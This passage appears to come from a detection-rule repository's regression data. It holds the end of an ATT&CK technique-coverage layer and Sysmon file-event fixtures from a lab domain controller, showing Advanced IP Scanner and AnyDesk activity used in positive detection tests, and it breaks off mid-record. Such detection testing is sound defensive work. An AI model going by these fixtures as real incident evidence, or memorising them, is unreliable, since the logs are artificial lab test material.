\"enabled\": true,\n \"metadata\": [],\n \"links\": [],\n \"showSubtechniques\": false\n },\n {\n \"techniqueID\": \"T1570\",\n \"tactic\": \"lateral-movement\",\n \"score\": 6,\n \"color\": \"\",\n \"comment\": \"\",\n \"enabled\": true,\n \"metadata\": [],\n \"links\": [],\n \"showSubtechniques\": false\n },\n {\n \"techniqueID\": \"T1216.001\",\n \"tactic\": \"defense-evasion\",\n \"score\": 2,\n \"color\": \"\",\n \"comment\": \"\",\n \"enabled\": true,\n \"metadata\": [],\n \"links\": [],\n \"showSubtechniques\": false\n },\n {\n \"techniqueID\": \"T1036.004\",\n \"tactic\": \"defense-evasion\",\n \"score\": 3,\n \"color\": \"\",\n \"comment\": \"\",\n \"enabled\": true,\n \"metadata\": [],\n \"links\": [],\n \"showSubtechniques\": false\n },\n {\n \"techniqueID\": \"T1110.001\",\n \"tactic\": \"credential-access\",\n \"score\": 3,\n \"color\": \"\",\n \"comment\": \"\",\n \"enabled\": true,\n \"metadata\": [],\n \"links\": [],\n \"showSubtechniques\": false\n },\n {\n \"techniqueID\": \"T1036.002\",\n \"tactic\": \"defense-evasion\",\n \"score\": 3,\n \"color\": \"\",\n \"comment\": \"\",\n \"enabled\": true,\n \"metadata\": [],\n \"links\": [],\n \"showSubtechniques\": false\n },\n {\n \"techniqueID\": \"T1110.002\",\n \"tactic\": \"credential-access\",\n \"score\": 1,\n \"color\": \"\",\n \"comment\": \"\",\n \"enabled\": true,\n \"metadata\": [],\n \"links\": [],\n \"showSubtechniques\": false\n },\n {\n \"techniqueID\": \"T1222.001\",\n \"tactic\": \"defense-evasion\",\n \"score\": 5,\n \"color\": \"\",\n \"comment\": \"\",\n \"enabled\": true,\n \"metadata\": [],\n \"links\": [],\n \"showSubtechniques\": false\n },\n {\n \"techniqueID\": \"T1217\",\n \"tactic\": \"discovery\",\n \"score\": 4,\n \"color\": \"\",\n \"comment\": \"\",\n \"enabled\": true,\n \"metadata\": [],\n \"links\": [],\n \"showSubtechniques\": false\n },\n {\n \"techniqueID\": \"T1622\",\n \"tactic\": \"defense-evasion\",\n \"score\": 1,\n \"color\": \"\",\n \"comment\": \"\",\n \"enabled\": true,\n \"metadata\": [],\n \"links\": [],\n \"showSubtechniques\": false\n },\n {\n \"techniqueID\": \"T1622\",\n \"tactic\": \"discovery\",\n \"score\": 1,\n \"color\": \"\",\n \"comment\": \"\",\n \"enabled\": true,\n \"metadata\": [],\n \"links\": [],\n \"showSubtechniques\": false\n },\n {\n \"techniqueID\": \"T1134.004\",\n \"tactic\": \"defense-evasion\",\n \"score\": 1,\n \"color\": \"\",\n \"comment\": \"\",\n \"enabled\": true,\n \"metadata\": [],\n \"links\": [],\n \"showSubtechniques\": false\n },\n {\n \"techniqueID\": \"T1134.004\",\n \"tactic\": \"privilege-escalation\",\n \"score\": 1,\n \"color\": \"\",\n \"comment\": \"\",\n \"enabled\": true,\n \"metadata\": [],\n \"links\": [],\n \"showSubtechniques\": false\n },\n {\n \"techniqueID\": \"T1059.006\",\n \"tactic\": \"execution\",\n \"score\": 8,\n \"color\": \"\",\n \"comment\": \"\",\n \"enabled\": true,\n \"metadata\": [],\n \"links\": [],\n \"showSubtechniques\": false\n },\n {\n \"techniqueID\": \"T1036.007\",\n \"tactic\": \"defense-evasion\",\n \"score\": 3,\n \"color\": \"\",\n \"comment\": \"\",\n \"enabled\": true,\n \"metadata\": [],\n \"links\": [],\n \"showSubtechniques\": false\n },\n {\n \"techniqueID\": \"T1620\",\n \"tactic\": \"defense-evasion\",\n \"score\": 2,\n \"color\": \"\",\n \"comment\": \"\",\n \"enabled\": true,\n \"metadata\": [],\n \"links\": [],\n \"showSubtechniques\": false\n },\n {\n \"techniqueID\": \"T1069\",\n \"tactic\": \"discovery\",\n \"score\": 3,\n \"color\": \"\",\n \"comment\": \"\",\n \"enabled\": true,\n \"metadata\": [],\n \"links\": [],\n \"showSubtechniques\": false\n },\n {\n \"techniqueID\": \"T1070.005\",\n \"tactic\": \"defense-evasion\",\n \"score\": 4,\n \"color\": \"\",\n \"comment\": \"\",\n \"enabled\": true,\n \"metadata\": [],\n \"links\": [],\n \"showSubtechniques\": false\n },\n {\n \"techniqueID\": \"T1037.001\",\n \"tactic\": \"persistence\",\n \"score\": 3,\n \"color\": \"\",\n \"comment\": \"\",\n \"enabled\": true,\n \"metadata\": [],\n \"links\": [],\n \"showSubtechniques\": false\n },\n {\n \"techniqueID\": \"T1037.001\",\n \"tactic\": \"privilege-escalation\",\n \"score\": 3,\n \"color\": \"\",\n \"comment\": \"\",\n \"enabled\": true,\n \"metadata\": [],\n \"links\": [],\n \"showSubtechniques\": false\n },\n {\n \"techniqueID\": \"T1135\",\n \"tactic\": \"discovery\",\n \"score\": 7,\n \"color\": \"\",\n \"comment\": \"\",\n \"enabled\": true,\n \"metadata\": [],\n \"links\": [],\n \"showSubtechniques\": false\n },\n {\n \"techniqueID\": \"T1185\",\n \"tactic\": \"collection\",\n \"score\": 2,\n \"color\": \"\",\n \"comment\": \"\",\n \"enabled\": true,\n \"metadata\": [],\n \"links\": [],\n \"showSubtechniques\": false\n },\n {\n \"techniqueID\": \"T1505.004\",\n \"tactic\": \"persistence\",\n \"score\": 5,\n \"color\": \"\",\n \"comment\": \"\",\n \"enabled\": true,\n \"metadata\": [],\n \"links\": [],\n \"showSubtechniques\": false\n },\n {\n \"techniqueID\": \"T1003.006\",\n \"tactic\": \"credential-access\",\n \"score\": 7,\n \"color\": \"\",\n \"comment\": \"\",\n \"enabled\": true,\n \"metadata\": [],\n \"links\": [],\n \"showSubtechniques\": false\n },\n {\n \"techniqueID\": \"T1006\",\n \"tactic\": \"defense-evasion\",\n \"score\": 1,\n \"color\": \"\",\n \"comment\": \"\",\n \"enabled\": true,\n \"metadata\": [],\n \"links\": [],\n \"showSubtechniques\": false\n },\n {\n \"techniqueID\": \"T1546.013\",\n \"tactic\": \"privilege-escalation\",\n \"score\": 3,\n \"color\": \"\",\n \"comment\": \"\",\n \"enabled\": true,\n \"metadata\": [],\n \"links\": [],\n \"showSubtechniques\": false\n },\n {\n \"techniqueID\": \"T1546.013\",\n \"tactic\": \"persistence\",\n \"score\": 3,\n \"color\": \"\",\n \"comment\": \"\",\n \"enabled\": true,\n \"metadata\": [],\n \"links\": [],\n \"showSubtechniques\": false\n },\n {\n \"techniqueID\": \"T1137\",\n \"tactic\": \"persistence\",\n \"score\": 9,\n \"color\": \"\",\n \"comment\": \"\",\n \"enabled\": true,\n \"metadata\": [],\n \"links\": [],\n \"showSubtechniques\": false\n },\n {\n \"techniqueID\": \"T1008\",\n \"tactic\": \"command-and-control\",\n \"score\": 4,\n \"color\": \"\",\n \"comment\": \"\",\n \"enabled\": true,\n \"metadata\": [],\n \"links\": [],\n \"showSubtechniques\": false\n },\n {\n \"techniqueID\": \"T1137.006\",\n \"tactic\": \"persistence\",\n \"score\": 4,\n \"color\": \"\",\n \"comment\": \"\",\n \"enabled\": true,\n \"metadata\": [],\n \"links\": [],\n \"showSubtechniques\": false\n },\n {\n \"techniqueID\": \"T1136.002\",\n \"tactic\": \"persistence\",\n \"score\": 3,\n \"color\": \"\",\n \"comment\": \"\",\n \"enabled\": true,\n \"metadata\": [],\n \"links\": [],\n \"showSubtechniques\": false\n },\n {\n \"techniqueID\": \"T1547.009\",\n \"tactic\": \"persistence\",\n \"score\": 4,\n \"color\": \"\",\n \"comment\": \"\",\n \"enabled\": true,\n \"metadata\": [],\n \"links\": [],\n \"showSubtechniques\": false\n },\n {\n \"techniqueID\": \"T1547.009\",\n \"tactic\": \"privilege-escalation\",\n \"score\": 4,\n \"color\": \"\",\n \"comment\": \"\",\n \"enabled\": true,\n \"metadata\": [],\n \"links\": [],\n \"showSubtechniques\": false\n },\n {\n \"techniqueID\": \"T1137.003\",\n \"tactic\": \"persistence\",\n \"score\": 1,\n \"color\": \"\",\n \"comment\": \"\",\n \"enabled\": true,\n \"metadata\": [],\n \"links\": [],\n \"showSubtechniques\": false\n },\n {\n \"techniqueID\": \"T1195\",\n \"tactic\": \"initial-access\",\n \"score\": 1,\n \"color\": \"\",\n \"comment\": \"\",\n \"enabled\": true,\n \"metadata\": [],\n \"links\": [],\n \"showSubtechniques\": false\n },\n {\n \"techniqueID\": \"T1547.015\",\n \"tactic\": \"persistence\",\n \"score\": 1,\n \"color\": \"\",\n \"comment\": \"\",\n \"enabled\": true,\n \"metadata\": [],\n \"links\": [],\n \"showSubtechniques\": false\n },\n {\n \"techniqueID\": \"T1547.015\",\n \"tactic\": \"privilege-escalation\",\n \"score\": 1,\n \"color\": \"\",\n \"comment\": \"\",\n \"enabled\": true,\n \"metadata\": [],\n \"links\": [],\n \"showSubtechniques\": false\n },\n {\n \"techniqueID\": \"T1001.003\",\n \"tactic\": \"command-and-control\",\n \"score\": 2,\n \"color\": \"\",\n \"comment\": \"\",\n \"enabled\": true,\n \"metadata\": [],\n \"links\": [],\n \"showSubtechniques\": false\n },\n {\n \"techniqueID\": \"T1114.001\",\n \"tactic\": \"collection\",\n \"score\": 1,\n \"color\": \"\",\n \"comment\": \"\",\n \"enabled\": true,\n \"metadata\": [],\n \"links\": [],\n \"showSubtechniques\": false\n },\n {\n \"techniqueID\": \"T1222\",\n \"tactic\": \"defense-evasion\",\n \"score\": 2,\n \"color\": \"\",\n \"comment\": \"\",\n \"enabled\": true,\n \"metadata\": [],\n \"links\": [],\n \"showSubtechniques\": false\n },\n {\n \"techniqueID\": \"T1589.002\",\n \"tactic\": \"reconnaissance\",\n \"score\": 1,\n \"color\": \"\",\n \"comment\": \"\",\n \"enabled\": true,\n \"metadata\": [],\n \"links\": [],\n \"showSubtechniques\": false\n },\n {\n \"techniqueID\": \"T1574.012\",\n \"tactic\": \"persistence\",\n \"score\": 2,\n \"color\": \"\",\n \"comment\": \"\",\n \"enabled\": true,\n \"metadata\": [],\n \"links\": [],\n \"showSubtechniques\": false\n },\n {\n \"techniqueID\": \"T1574.012\",\n \"tactic\": \"privilege-escalation\",\n \"score\": 2,\n \"color\": \"\",\n \"comment\": \"\",\n \"enabled\": true,\n \"metadata\": [],\n \"links\": [],\n \"showSubtechniques\": false\n },\n {\n \"techniqueID\": \"T1574.012\",\n \"tactic\": \"defense-evasion\",\n \"score\": 2,\n \"color\": \"\",\n \"comment\": \"\",\n \"enabled\": true,\n \"metadata\": [],\n \"links\": [],\n \"showSubtechniques\": false\n },\n {\n \"techniqueID\": \"T1546.010\",\n \"tactic\": \"privilege-escalation\",\n \"score\": 1,\n \"color\": \"\",\n \"comment\": \"\",\n \"enabled\": true,\n \"metadata\": [],\n \"links\": [],\n \"showSubtechniques\": false\n },\n {\n \"techniqueID\": \"T1546.010\",\n \"tactic\": \"persistence\",\n \"score\": 1,\n \"color\": \"\",\n \"comment\": \"\",\n \"enabled\": true,\n \"metadata\": [],\n \"links\": [],\n \"showSubtechniques\": false\n },\n {\n \"techniqueID\": \"T1125\",\n \"tactic\": \"collection\",\n \"score\": 1,\n \"color\": \"\",\n \"comment\": \"\",\n \"enabled\": true,\n \"metadata\": [],\n \"links\": [],\n \"showSubtechniques\": false\n },\n {\n \"techniqueID\": \"T1546.009\",\n \"tactic\": \"privilege-escalation\",\n \"score\": 2,\n \"color\": \"\",\n \"comment\": \"\",\n \"enabled\": true,\n \"metadata\": [],\n \"links\": [],\n \"showSubtechniques\": false\n },\n {\n \"techniqueID\": \"T1546.009\",\n \"tactic\": \"persistence\",\n \"score\": 2,\n \"color\": \"\",\n \"comment\": \"\",\n \"enabled\": true,\n \"metadata\": [],\n \"links\": [],\n \"showSubtechniques\": false\n },\n {\n \"techniqueID\": \"T1547.008\",\n \"tactic\": \"persistence\",\n \"score\": 1,\n \"color\": \"\",\n \"comment\": \"\",\n \"enabled\": true,\n \"metadata\": [],\n \"links\": [],\n \"showSubtechniques\": false\n },\n {\n \"techniqueID\": \"T1547.008\",\n \"tactic\": \"privilege-escalation\",\n \"score\": 1,\n \"color\": \"\",\n \"comment\": \"\",\n \"enabled\": true,\n \"metadata\": [],\n \"links\": [],\n \"showSubtechniques\": false\n },\n {\n \"techniqueID\": \"T1547.005\",\n \"tactic\": \"persistence\",\n \"score\": 1,\n \"color\": \"\",\n \"comment\": \"\",\n \"enabled\": true,\n \"metadata\": [],\n \"links\": [],\n \"showSubtechniques\": false\n },\n {\n \"techniqueID\": \"T1547.005\",\n \"tactic\": \"privilege-escalation\",\n \"score\": 1,\n \"color\": \"\",\n \"comment\": \"\",\n \"enabled\": true,\n \"metadata\": [],\n \"links\": [],\n \"showSubtechniques\": false\n },\n {\n \"techniqueID\": \"T1553.003\",\n \"tactic\": \"defense-evasion\",\n \"score\": 2,\n \"color\": \"\",\n \"comment\": \"\",\n \"enabled\": true,\n \"metadata\": [],\n \"links\": [],\n \"showSubtechniques\": false\n },\n {\n \"techniqueID\": \"T1547.003\",\n \"tactic\": \"persistence\",\n \"score\": 1,\n \"color\": \"\",\n \"comment\": \"\",\n \"enabled\": true,\n \"metadata\": [],\n \"links\": [],\n \"showSubtechniques\": false\n },\n {\n \"techniqueID\": \"T1547.003\",\n \"tactic\": \"privilege-escalation\",\n \"score\": 1,\n \"color\": \"\",\n \"comment\": \"\",\n \"enabled\": true,\n \"metadata\": [],\n \"links\": [],\n \"showSubtechniques\": false\n },\n {\n \"techniqueID\": \"T1546.012\",\n \"tactic\": \"privilege-escalation\",\n \"score\": 2,\n \"color\": \"\",\n \"comment\": \"\",\n \"enabled\": true,\n \"metadata\": [],\n \"links\": [],\n \"showSubtechniques\": false\n },\n {\n \"techniqueID\": \"T1546.012\",\n \"tactic\": \"persistence\",\n \"score\": 2,\n \"color\": \"\",\n \"comment\": \"\",\n \"enabled\": true,\n \"metadata\": [],\n \"links\": [],\n \"showSubtechniques\": false\n },\n {\n \"techniqueID\": \"T1559.002\",\n \"tactic\": \"execution\",\n \"score\": 1,\n \"color\": \"\",\n \"comment\": \"\",\n \"enabled\": true,\n \"metadata\": [],\n \"links\": [],\n \"showSubtechniques\": false\n },\n {\n \"techniqueID\": \"T1550.002\",\n \"tactic\": \"defense-evasion\",\n \"score\": 6,\n \"color\": \"\",\n \"comment\": \"\",\n \"enabled\": true,\n \"metadata\": [],\n \"links\": [],\n \"showSubtechniques\": false\n },\n {\n \"techniqueID\": \"T1550.002\",\n \"tactic\": \"lateral-movement\",\n \"score\": 6,\n \"color\": \"\",\n \"comment\": \"\",\n \"enabled\": true,\n \"metadata\": [],\n \"links\": [],\n \"showSubtechniques\": false\n },\n {\n \"techniqueID\": \"T1553.002\",\n \"tactic\": \"defense-evasion\",\n \"score\": 1,\n \"color\": \"\",\n \"comment\": \"\",\n \"enabled\": true,\n \"metadata\": [],\n \"links\": [],\n \"showSubtechniques\": false\n },\n {\n \"techniqueID\": \"T1207\",\n \"tactic\": \"defense-evasion\",\n \"score\": 2,\n \"color\": \"\",\n \"comment\": \"\",\n \"enabled\": true,\n \"metadata\": [],\n \"links\": [],\n \"showSubtechniques\": false\n },\n {\n \"techniqueID\": \"T1010\",\n \"tactic\": \"discovery\",\n \"score\": 1,\n \"color\": \"\",\n \"comment\": \"\",\n \"enabled\": true,\n \"metadata\": [],\n \"links\": [],\n \"showSubtechniques\": false\n },\n {\n \"techniqueID\": \"T1134.005\",\n \"tactic\": \"defense-evasion\",\n \"score\": 1,\n \"color\": \"\",\n \"comment\": \"\",\n \"enabled\": true,\n \"metadata\": [],\n \"links\": [],\n \"showSubtechniques\": false\n },\n {\n \"techniqueID\": \"T1134.005\",\n \"tactic\": \"privilege-escalation\",\n \"score\": 1,\n \"color\": \"\",\n \"comment\": \"\",\n \"enabled\": true,\n \"metadata\": [],\n \"links\": [],\n \"showSubtechniques\": false\n },\n {\n \"techniqueID\": \"T1200\",\n \"tactic\": \"initial-access\",\n \"score\": 3,\n \"color\": \"\",\n \"comment\": \"\",\n \"enabled\": true,\n \"metadata\": [],\n \"links\": [],\n \"showSubtechniques\": false\n },\n {\n \"techniqueID\": \"T1557.003\",\n \"tactic\": \"credential-access\",\n \"score\": 1,\n \"color\": \"\",\n \"comment\": \"\",\n \"enabled\": true,\n \"metadata\": [],\n \"links\": [],\n \"showSubtechniques\": false\n },\n {\n \"techniqueID\": \"T1557.003\",\n \"tactic\": \"collection\",\n \"score\": 1,\n \"color\": \"\",\n \"comment\": \"\",\n \"enabled\": true,\n \"metadata\": [],\n \"links\": [],\n \"showSubtechniques\": false\n },\n {\n \"techniqueID\": \"T1091\",\n \"tactic\": \"lateral-movement\",\n \"score\": 1,\n \"color\": \"\",\n \"comment\": \"\",\n \"enabled\": true,\n \"metadata\": [],\n \"links\": [],\n \"showSubtechniques\": false\n },\n {\n \"techniqueID\": \"T1091\",\n \"tactic\": \"initial-access\",\n \"score\": 1,\n \"color\": \"\",\n \"comment\": \"\",\n \"enabled\": true,\n \"metadata\": [],\n \"links\": [],\n \"showSubtechniques\": false\n },\n {\n \"techniqueID\": \"T1590.002\",\n \"tactic\": \"reconnaissance\",\n \"score\": 1,\n \"color\": \"\",\n \"comment\": \"\",\n \"enabled\": true,\n \"metadata\": [],\n \"links\": [],\n \"showSubtechniques\": false\n },\n {\n \"techniqueID\": \"T1499.001\",\n \"tactic\": \"impact\",\n \"score\": 1,\n \"color\": \"\",\n \"comment\": \"\",\n \"enabled\": true,\n \"metadata\": [],\n \"links\": [],\n \"showSubtechniques\": false\n },\n {\n \"techniqueID\": \"T1176\",\n \"tactic\": \"persistence\",\n \"score\": 1,\n \"color\": \"\",\n \"comment\": \"\",\n \"enabled\": true,\n \"metadata\": [],\n \"links\": [],\n \"showSubtechniques\": false\n },\n {\n \"techniqueID\": \"T1595.001\",\n \"tactic\": \"reconnaissance\",\n \"score\": 1,\n \"color\": \"\",\n \"comment\": \"\",\n \"enabled\": true,\n \"metadata\": [],\n \"links\": [],\n \"showSubtechniques\": false\n },\n {\n \"techniqueID\": \"T1548.003\",\n \"tactic\": \"privilege-escalation\",\n \"score\": 2,\n \"color\": \"\",\n \"comment\": \"\",\n \"enabled\": true,\n \"metadata\": [],\n \"links\": [],\n \"showSubtechniques\": false\n },\n {\n \"techniqueID\": \"T1548.003\",\n \"tactic\": \"defense-evasion\",\n \"score\": 2,\n \"color\": \"\",\n \"comment\": \"\",\n \"enabled\": true,\n \"metadata\": [],\n \"links\": [],\n \"showSubtechniques\": false\n },\n {\n \"techniqueID\": \"T1559\",\n \"tactic\": \"execution\",\n \"score\": 1,\n \"color\": \"\",\n \"comment\": \"\",\n \"enabled\": true,\n \"metadata\": [],\n \"links\": [],\n \"showSubtechniques\": false\n },\n {\n \"techniqueID\": \"T1564.008\",\n \"tactic\": \"defense-evasion\",\n \"score\": 2,\n \"color\": \"\",\n \"comment\": \"\",\n \"enabled\": true,\n \"metadata\": [],\n \"links\": [],\n \"showSubtechniques\": false\n },\n {\n \"techniqueID\": \"T1090.004\",\n \"tactic\": \"command-and-control\",\n \"score\": 1,\n \"color\": \"\",\n \"comment\": \"\",\n \"enabled\": true,\n \"metadata\": [],\n \"links\": [],\n \"showSubtechniques\": false\n },\n {\n \"techniqueID\": \"T1598.002\",\n \"tactic\": \"reconnaissance\",\n \"score\": 1,\n \"color\": \"\",\n \"comment\": \"\",\n \"enabled\": true,\n \"metadata\": [],\n \"links\": [],\n \"showSubtechniques\": false\n },\n {\n \"techniqueID\": \"T1036.008\",\n \"tactic\": \"defense-evasion\",\n \"score\": 1,\n \"color\": \"\",\n \"comment\": \"\",\n \"enabled\": true,\n \"metadata\": [],\n \"links\": [],\n \"showSubtechniques\": false\n },\n {\n \"techniqueID\": \"T1070.008\",\n \"tactic\": \"defense-evasion\",\n \"score\": 2,\n \"color\": \"\",\n \"comment\": \"\",\n \"enabled\": true,\n \"metadata\": [],\n \"links\": [],\n \"showSubtechniques\": false\n }\n ]\n}"
},
{
"path": "regression_data/rules/windows/file/file_event/file_event_win_advanced_ip_scanner/fed85bf9-e075-4280-9159-fbe8a023d6fa.json",
"content": "{\n \"Event\": {\n \"#attributes\": {\n \"xmlns\": \"http://schemas.microsoft.com/win/2004/08/events/event\"\n },\n \"System\": {\n \"Provider\": {\n \"#attributes\": {\n \"Name\": \"Microsoft-Windows-Sysmon\",\n \"Guid\": \"5770385F-C22A-43E0-BF4C-06F5698FFBD9\"\n }\n },\n \"EventID\": 11,\n \"Version\": 2,\n \"Level\": 4,\n \"Task\": 11,\n \"Opcode\": 0,\n \"Keywords\": \"0x8000000000000000\",\n \"TimeCreated\": {\n \"#attributes\": {\n \"SystemTime\": \"2025-10-24T23:36:29.111126Z\"\n }\n },\n \"EventRecordID\": 18267,\n \"Correlation\": null,\n \"Execution\": {\n \"#attributes\": {\n \"ProcessID\": 3308,\n \"ThreadID\": 4008\n }\n },\n \"Channel\": \"Microsoft-Windows-Sysmon/Operational\",\n \"Computer\": \"ar-win-dc.attackrange.local\",\n \"Security\": {\n \"#attributes\": {\n \"UserID\": \"S-1-5-18\"\n }\n }\n },\n \"EventData\": {\n \"RuleName\": \"-\",\n \"UtcTime\": \"2025-10-24 23:36:29.110\",\n \"ProcessGuid\": \"5AA13A44-0D74-68FC-EB1D-000000004002\",\n \"ProcessId\": 5624,\n \"Image\": \"C:\\\\Users\\\\ADMINI~1\\\\AppData\\\\Local\\\\Temp\\\\is-3C3LU.tmp\\\\Advanced_IP_Scanner_2.5.4594.1(1).tmp\",\n \"TargetFilename\": \"C:\\\\Users\\\\ADMINI~1\\\\AppData\\\\Local\\\\Temp\\\\Advanced IP Scanner 2\\\\platforms\\\\qwindows.dll\",\n \"CreationUtcTime\": \"2025-10-24 10:44:35.897\",\n \"User\": \"ATTACKRANGE\\\\Administrator\"\n }\n }\n}\n"
},
{
"path": "regression_data/rules/windows/file/file_event/file_event_win_advanced_ip_scanner/info.yml",
"content": "id: 48ff85e7-a8ae-43fd-8a8f-16ce51a92183\ndescription: N/A\ndate: 2025-10-24\nauthor: SigmaHQ Team\nrule_metadata:\n - id: fed85bf9-e075-4280-9159-fbe8a023d6fa\n title: Advanced IP Scanner - File Event\nregression_tests_info:\n - name: Positive Detection Test\n type: evtx\n provider: Microsoft-Windows-Sysmon\n match_count: 1\n path: regression_data/rules/windows/file/file_event/file_event_win_advanced_ip_scanner/fed85bf9-e075-4280-9159-fbe8a023d6fa.evtx\n"
},
{
"path": "regression_data/rules/windows/file/file_event/file_event_win_anydesk_artefact/0b9ad457-2554-44c1-82c2-d56a99c42377.json",
"content": "{\n \"Event\": {\n \"#attributes\": {\n \"xmlns\": \"http://schemas.microsoft.com/win/2004/08/events/event\"\n },\n \"System\": {\n \"Provider\": {\n \"#attributes\": {\n \"Name\": \"Microsoft-Windows-Sysmon\",\n \"Guid\": \"5770385F-C22A-43E0-BF4C-06F5698FFBD9\"\n }\n },\n \"EventID\": 11,\n \"Version\": 2,\n \"Level\": 4,\n \"Task\": 11,\n \"Opcode\": 0,\n \"Keywords\": \"0x8000000000000000\",\n \"TimeCreated\": {\n \"#attributes\": {\n \"SystemTime\": \"2025-10-24T23:34:34.640670Z\"\n }\n },\n \"EventRecordID\": 14961,\n \"Correlation\": null,\n \"Execution\": {\n \"#attributes\": {\n \"ProcessID\": 3308,\n \"ThreadID\": 4008\n }\n },\n \"Channel\": \"Microsoft-Windows-Sysmon/Operational\",\n \"Computer\": \"ar-win-dc.attackrange.local\",\n \"Security\": {\n \"#attributes\": {\n \"UserID\": \"S-1-5-18\"\n }\n }\n },\n \"EventData\": {\n \"RuleName\": \"-\",\n \"UtcTime\": \"2025-10-24 23:34:34.634\",\n \"ProcessGuid\": \"5AA13A44-0D08-68FC-DC1D-000000004002\",\n \"ProcessId\": 7760,\n \"Image\": \"C:\\\\Users\\\\Administrator\\\\Desktop\\\\AnyDesk.exe\",\n \"TargetFilename\": \"C:\\\\Users\\\\Administrator\\\\AppData\\\\Roaming\\\\AnyDesk\\\\service.conf.new\",\n \"CreationUtcTime\": \"2025-10-24 23:34:32.457\",\n \"User\": \"ATTACKRANGE\\\\Administrator\"\n }\n }\n}\n{\n \"Event\": {\n \"#attributes\": {\n \"xmlns\": \"http://schemas.microsoft.com/win/2004/08/events/event\"\n },\n \"System\": {\n \"Provider\": {\n \"#attributes\": {\n \"Name\": \"Microsoft-Windows-Sysmon\",\n \"Guid\": \"5770385F-C22A-43E0-BF4C-06F5698FFBD9\"\n }\n },\n \"EventID\": 11,\n \"Version\": 2,\n \"Level\": 4,\n \"Task\": 11,\n \"Opcode\": 0,\n \"Keywords\": \"0x8000000000000000\",\n \"TimeCreated\": {\n \"#attributes\": {\n \"SystemTime\": \"2025-10-24T23:34:34.644616Z\"\n }\n },\n \"EventRecordID\": 14963,\n \"Correlation\": null,\n \"Execution\": {\n \"#attributes\": {\n \"ProcessID\": 3308,\n \"ThreadID\": 4008\n }\n },\n \"Channel\": \"Microsoft-Windows-Sysmon/Operational\",\n \"Computer\": \"ar-win-dc.attackrange.local\",\n \"Security\": {\n \"#attributes\": {\n \"UserID\": \"S-1-5-18\"\n }\n }\n },\n \"EventData\": {\n \"RuleName\": \"-\",\n \"UtcTime\": \"2025-10-24 23:34:34.634\",\n \"ProcessGuid\": \"5AA13A44-0D08-68FC-DC1D-000000004002\",\n \"ProcessId\": 7760,\n \"Image\": \"C:\\\\Users\\\\Administrator\\\\Desktop\\\\AnyDesk.exe\",\n \"TargetFilename\": \"C:\\\\Users\\\\Administrator\\\\AppData\\\\Roaming\\\\AnyDesk\\\\service.conf~RF2d9c1fe.TMP\",\n \"CreationUtcTime\": \"2025-10-24 23:34:34.634\",\n \"User\": \"ATTACKRANGE\\\\Administrator\"\n }\n }\n}\n{\n \"Event\": {\n \"#attributes\": {\n \"xmlns\": \"http://schemas.microsoft.com/win/2004/08/events/event\"\n },\n \"System\": {\n \"Provider\": {\n \"#attributes\": {\n \"Name\": \"Microsoft-Windows-Sysmon\",\n \"Guid\": \"5770385F-C22A-43E0-BF4C-06F5698FFBD9\"\n }\n },\n \"EventID\": 11,\n \"Version\": 2,\n \"Level\": 4,\n \"Task\": 11,\n \"Opcode\": 0,\n \"Keywords\": \"0x8000000000000000\",\n \"TimeCreated\": {\n \"#attributes\": {\n \"SystemTime\": \"2025-10-24T23:34:34.649129Z\"\n }\n },\n \"EventRecordID\": 14985,\n \"Correlation\": null,\n \"Execution\": {\n \"#attributes\": {\n \"ProcessID\": 3308,\n \"ThreadID\": 4008\n }\n },\n \"Channel\": \"Microsoft-Windows-Sysmon/Operational\",\n \"Computer\": \"ar-win-dc.attackrange.local\",\n \"Security\": {\n \"#attributes\": {\n \"UserID\": \"S-1-5-18\"\n }\n }\n },\n \"EventData\": {\n \"RuleName\": \"-\",\n \"UtcTime\": \"2025-10-24 23:34:34.645\",\n \"ProcessGuid\": \"5AA13A44-0D08-68FC-DD1D-000000004002\",\n \"ProcessId\": 9612,\n \"Image\": \"C:\\\\Users\\\\Administrator\\\\Desktop\\\\AnyDesk.exe\",\n \"TargetFilename\": \"C:\\\\Users\\\\Administrator\\\\AppData\\\\Roaming\\\\AnyDesk\\\\user.conf.new\",\n \"CreationUtcTime\": \"2025-10-24 23:34:32.250\",\n \"User\": \"ATTACKRANGE\\\\Administrator\"\n }\n }\n}\n{\n \"Event\": {\n \"#attributes\": {\n \"xmlns\": \"http://schemas.microsoft.com/win/2004/08/events/event\"\n },\n \"System\": {\n \"Provider\": {\n \"#attributes\": {\n \"Name\": \"Microsoft-Windows-Sysmon\",\n \"Guid\": \"5770385F-C22A-43E0-BF4C-06F5698FFBD9\"\n }\n },\n \"EventID\": 11,\n \"Version\": 2,\n \"Level\": 4,\n \"Task\": 11,\n \"Opcode\": 0,\n \"Keywords\": \"0x8000000000000000\",\n \"TimeCreated\": {\n \"#attributes\": {\n \"SystemTime\": \"2025-10-24T23:34:34.653476Z\"\n }\n },\n \"EventRecordID\": 14988,\n \"Correlation\": null,\n \"Execution\": {\n \"#attributes\": {\n \"ProcessID\": 3308,\n \"ThreadID\": 4008\n }\n },\n \"Channel\": \"Microsoft-Windows-Sysmon/Operational\",\n \"Computer\": \"ar-win-dc.attackrange.local\",\n \"Security\": {\n \"#attributes\": {\n \"UserID\": \"S-1-5-18\"\n }\n }\n },\n \"EventData\": {\n \"RuleName\": \"-\",\n \"UtcTime\": \"2025-10-24 23:34:34.645\",\n \"ProcessGuid\": \"5AA13A44-0D08-68FC-DD1D-000000004002\",\n \"ProcessId\": 9612,\n \"Image\": \"C:\\\\Users\\\\Administrator\\\\Desktop\\\\AnyDesk.exe\",\n \"TargetFilename\": \"C:\\\\Users\\\\Administrator\\\\AppData\\\\Roaming\\\\AnyDesk\\\\user.conf~RF2d9c20d.TMP\",\n \"CreationUtcTime\": \"2025-10-24 23:34:34.645\",\n \"User\": \"ATTACKRANGE\\\\Administrator\"\n }\n }\n}\n{\n \"Event\": {\n \"#attributes\": {\n \"xmlns\": \"http://schemas.microsoft.com/win/2004/08/events/event\"\n },\n \"System\": {\n \"Provider\": {\n \"#attributes\": {\n \"Name\": \"Microsoft-Windows-Sysmon\",\n \"Guid\": \"5770385F-C22A-43E0-BF4C-06F5698FFBD9\"\n }\n },\n \"EventID\": 11,\n \"Version\": 2,\n \"Level\": 4,\n \"Task\": 11,\n \"Opcode\": 0,\n \"Keywords\": \"0x8000000000000000\",\n \"TimeCreated\": {\n \"#attributes\": {\n \"SystemTime\": \"2025-10-24T23:34:34.655191Z\"\n }\n },\n \"EventRecordID\": 14990,\n \"Correlation\": null,\n \"Execution\": {\n \"#attributes\": {\n \"ProcessID\": 3308,\n \"ThreadID\": 4008\n }\n },\n \"Channel\": \"Microsoft-Windows-Sysmon/Operational\",\n \"Computer\": \"ar-win-dc.attackrange.local\",\n \"Security\": {\n \"#attributes\": {\n \"UserID\": 